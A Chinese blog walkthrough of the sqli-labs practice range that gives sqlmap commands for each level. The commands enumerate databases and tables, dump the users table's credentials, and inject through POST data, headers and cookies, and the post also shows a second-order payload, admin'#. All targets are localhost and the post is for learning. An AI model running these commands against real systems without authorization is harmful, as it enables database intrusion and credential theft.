首页 > 数据库 >sqli-labs 靶场使用 SQLMap 注入

sqli-labs 靶场使用 SQLMap 注入

时间:2023-01-11 14:45:58浏览次数:57  
标签:SQLMap sqlmap http Less -- labs sqli

注意点:

  • sqlmap 需要 python 的环境,并配置环境变量

  • 在实际检测过程中,sqlmap 会不停的询问,需要手工输入Y/N来进行下一步操作,可以使用参数--batch命令来自动答复和判断

  • 用 sqlmap 工具注入完毕后,C 盘 AppData 文件夹下会有缓存文件夹,不删掉的话会影响 SQL 注入结果C:\Users\20846\AppData\Local\sqlmap\output,也可用sqlmap.py --purge来清空缓存

Less-1

python sqlmap.py -u "http://localhost/sqli-labs/Less-1/?id=1" --batch --banner
#   --batch      从不询问用户输入,使用所有默认配置,换言之对所有的交互式的都是默认的
# -b, --banner    获取数据库管理系统的标识
# 查看数据库
python sqlmap.py -u "http://localhost/sqli-labs/Less-1/?id=1" --dbs
无法显示图片时显示的文字
爆出数据库名
# sqlmap -u ["URL"] -D ["数据库名"] --tables //查询当前数据库中的所有表
python sqlmap.py -u "http://localhost/sqli-labs/Less-1/?id=1" -D security --tables
无法显示图片时显示的文字
查询 security 数据库中的所有表
# sqlmap -u ["URL"] -D ["数据库名"] -T ["表名"] --columns //查询指定库中指定表的所有列(字段)
python sqlmap.py -u "http://localhost/sqli-labs/Less-1/?id=1" -D security -T users --columns
无法显示图片时显示的文字
查看 security 数据库下的 users 表里都有哪些字段
# sqlmap -u -D security -T users -C id,password,username --dump
# 爆出数据库 security 中的 users 表中的 id,password,username 列中的所有数据

python sqlmap.py -u "http://localhost/sqli-labs/Less-1/?id=1" -D security -T users -C id,password,username --dump

# --dump 将结果保存下来
无法显示图片时显示的文字
查看列字段的具体值
因此,只要能找到注入点和数据库,就算上成功了

Less-2

以下操作都是基于 Less-1 的步骤,如法炮制而来

sqlmap -u http://localhost/sqli-labs/Less-2/?id=1 --batch --dbs
无法显示图片时显示的文字
找到数据库

Less-3

sqlmap -u http://localhost/sqli-labs/Less-3/?id=1 --batch --dbs

Less-4

sqlmap -u http://localhost/sqli-labs/Less-4/?id=1 --batch --dbs

Less-5

sqlmap -u http://localhost/sqli-labs/Less-5/?id=1 --batch --dbs

Less-6

sqlmap -u http://localhost/sqli-labs/Less-6/?id=1 --batch --dbs

Less-7

sqlmap -u http://localhost/sqli-labs/Less-7/?id=1 --batch --dbs

Less-8

sqlmap -u http://localhost/sqli-labs/Less-8/?id=1 --batch --dbs

Less-9

sqlmap -u http://localhost/sqli-labs/Less-9/?id=1 --batch --dbs

Less-10

sqlmap -u http://localhost/sqli-labs/Less-10/?id=1 -level=2 --batch --dbs
# 当level=2时,会测试cookie注入。当level=3时,会测试user-agent/referer注入

Less-11

sqlmap -u http://localhost/sqli-labs/Less-11/index.php --batch --data "uname=admin&passwd=admin&submit=Submit" --dbs
    
# 从该关开始,注入的位置不再是 URL,且请求变为了 POST,因此命令要随之而变。对于是 post 提交数据的 URL,需要指定其 data 参数,--data 能够抓取其 post 提交的数据填入

# 还有一种方法是:因为 Less-11 该关需要进行登录,可以先用账号 admin 密码 admin 登录,然后用 burp 抓包,将 burp 抓取的包保存为 target.txt,利用 sqlmap -r target.txt 命令,来探测 target.txt 文件中的 http 数据包是否存在 sql 注入漏洞

sqlmap -r target.txt

Less-12

sqlmap -u http://localhost/sqli-labs/Less-12/index.php --data "uname=admin&passwd=admin&submit=Submit" --batch --dbs

![Snipaste_2023-01-03_10-20-34](sqli-labs 靶场使用 Sqlmap.assets/Snipaste_2023-01-03_10-20-34.png)

Less-13

sqlmap -u http://localhost/sqli-labs/Less-13/index.php --data "uname=admin&passwd=admin&submit=Submit" --batch --dbs

Less-14

sqlmap -u http://localhost/sqli-labs/Less-14/index.php --data "uname=admin&passwd=admin&submit=Submit" --batch --dbs

Less-15

sqlmap -u http://localhost/sqli-labs/Less-15/index.php --data "uname=admin&passwd=admin&submit=Submit" --dbs --batch

以下略去

Less-16

sqlmap -u http://localhost/sqli-labs/Less-16/index.php --data "uname=admin&passwd=admin&submit=Submit" --batch --dbs --level=2

Less-17

sqlmap -u http://localhost/sqli-labs/Less-17/index.php --data "uname=admin&passwd=admin&submit=Submit" --batch --dbs

Less-18

# 注入的位置在 User-Agent 中
sqlmap -u http://localhost/sqli-labs/Less-18/ --data="uname=admin&passwd=admin&submit=Submit" --batch --user-agent="*" --thread=10 --dbs
    
# --thread=10,设置多线程,并行处理请求加快效率
# --user-agent="*" 是用来指定 User-Agent

Less-19

# 注入的位置在 Referer 中
sqlmap -u "http://localhost/sqli-labs/Less-19/" --data="uname=admin&passwd=admin&submit=Submit" --batch --referer="*" --thread=10 --dbs

# --referer,伪造 referer 字段

Less-20

# 注入的位置在 cookie 中
sqlmap -u http://localhost/sqli-labs/Less-20/index.php --cookie="uname=admin" --dbs --batch --level=5 --risk=3
    
# 同样,可以用 burp 抓包保存 ,殊途同归,第一次失败了,于是提高了线程,这将导致查询速度降低
sqlmap -r target-20.txt --leve=5 --risk=3 --dbs

Less-21

# 注入的位置依旧在 cookie 中,但经过了 base64 加密的,用 sqlmap 来进行联合查询注入
sqlmap -u http://localhost/sqli-labs/Less-21/index.php --cookie="uname=*" --dbs --tamper "base64encode.py" --batch
sqlmap -u http://localhost/sqli-labs/Less-21/index.php --cookie="uname=*" --tamper="base64encode" --dbms=MySQL --random-agent --flush-session --technique=U --dbs --batch -v 3
# --random-agent --> 使用任意的User-Agent爆破
# --flush-session --> sqlmap 扫描的时候会将缓存的数据记录到 output 文件下,下次扫描时会直接调用本地缓存的扫描结果。如果我们想删除缓存结果,重新对某网站进行扫描就需要添加 --flush-session 选项。
# --dbms=MySQ --> 指定其数据库为mysql
# --tamper base64encode --> 对提交的数据进行base64编码
# --technique=U --> 指定注入点类型,u 是指的 union 联合查询注入。其他还有 U/B/T/S
# -v --> 3 能看到 payload

Less-22

sqlmap -u http://localhost/sqli-labs/Less-22/index.php --cookie="uname=*" --dbs --tamper "base64encode.py" --batch

Less-23

sqlmap -u http://localhost/sqli-labs/Less-23/?id=1 --dbs --batch

Less-24

# 这关是二次注入,二次注入是指已存储(数据库、文件)的用户输入被读取后再次进入到 SQL 查询语句中导致的注入。
# 需要先注册账号 admin'#,然后修改密码,后面的 # 号注释掉了
# Sql 语句变为
UPDATE users SET passwd="New_Pass" WHERE username =' admin' # ' AND password='

Less-25

sqlmap -u http://localhost/sqli-labs/Less-25/?id=1 --dbs --batch

标签:SQLMap,sqlmap,http,Less,--,labs,sqli
From: https://www.cnblogs.com/yii-ling/p/17043579.html

相关文章

  • CentOS7更新SQLite为最新版本
    转载自:https://www.ikxin.com/710.html=================   前言最近看到兰空图床更新到了2.0版本,增加了很多新特性,其中有一项是支持了多种数据库驱动。本着......
  • Sqli-labs三个注入关卡【1、5、11】
    常见手动注入闭合方式or1=1;'or1=1;"or1=1;)or1=1;')or1=1;")or1=1;"))or1=1;也可以是使用”\”转义字符,通过转义字符将闭合方式爆出常见符号十六进制表示0x3A:0x68h......
  • Python_sqlite3与sqlite数据库交互
    基础功能importsqlite3#sqlite一个文件就是一个库#连接test.db数据库,没有就创建conn=sqlite3.connect('test.db')#创建一个cursorcur=conn.cursor()#......
  • [NCTF2019]SQLi
    [NCTF2019]SQLi考点:sqlbypass一道sql题,非常友好的给出了sqlquery,但想必也不简单sqlquery:select*fromuserswhereusername='1'andpasswd='1'这中语句非常典......
  • Sqlite
    sqlite百度百科:SQLite_百度百科(baidu.com)sqlite原理SQLite引擎不是个程序与之通信的独立进程,而是连接到程序中成为它的一个主要部分。所以主要的通信协议是在编程语言......
  • WEB渗透SQL注入【3】SQLmap使用详解(8)
    SQLmap介绍sqlmap是一个由python语言编写的开源的渗透测试工具,它主要是检测SQL注入漏洞,是一款功能强大的SQL漏洞检测利用工具。他可以检测的数据库有:access、msSQL......
  • 在sqlite数据库使用sql查询显示表头列和自动对齐列的方法
    在sqlite数据库使用sql查询的结果中是不带表头列的。如下: 上面已经显示出了SCORE表中的所有数据,但似乎显示的不太明白,因为看不出来各个数据的含义。显示表头(.headero......
  • sqlite3的使用,包括连接qt
    一、sqlite比较轻量级数据库二、类型:关系型数据库三、linux系统一般自带四、创建数据库1、在你要创建的数据的文件夹下打开cmd2、执行:sqlite3testBase.db ......
  • android SQLite使用SQLiteOpenHelper类对数据库进行操作
    一、SQLite介绍 SQLite是android内置的一个很小的关系型数据库。 SQLite的官网是http://www.sqlite.org/,可以去下载一些文档或相关信息。 博客中有一篇有稍......
  • sqlite3 cli 快速查询数据库内容
    原文链接https://www.digitalocean.com/community/tutorials/how-to-install-and-use-sqlite-on-ubuntu-20-04sudoaptupdatesudoaptinstallsqlite3sqlite3--versi......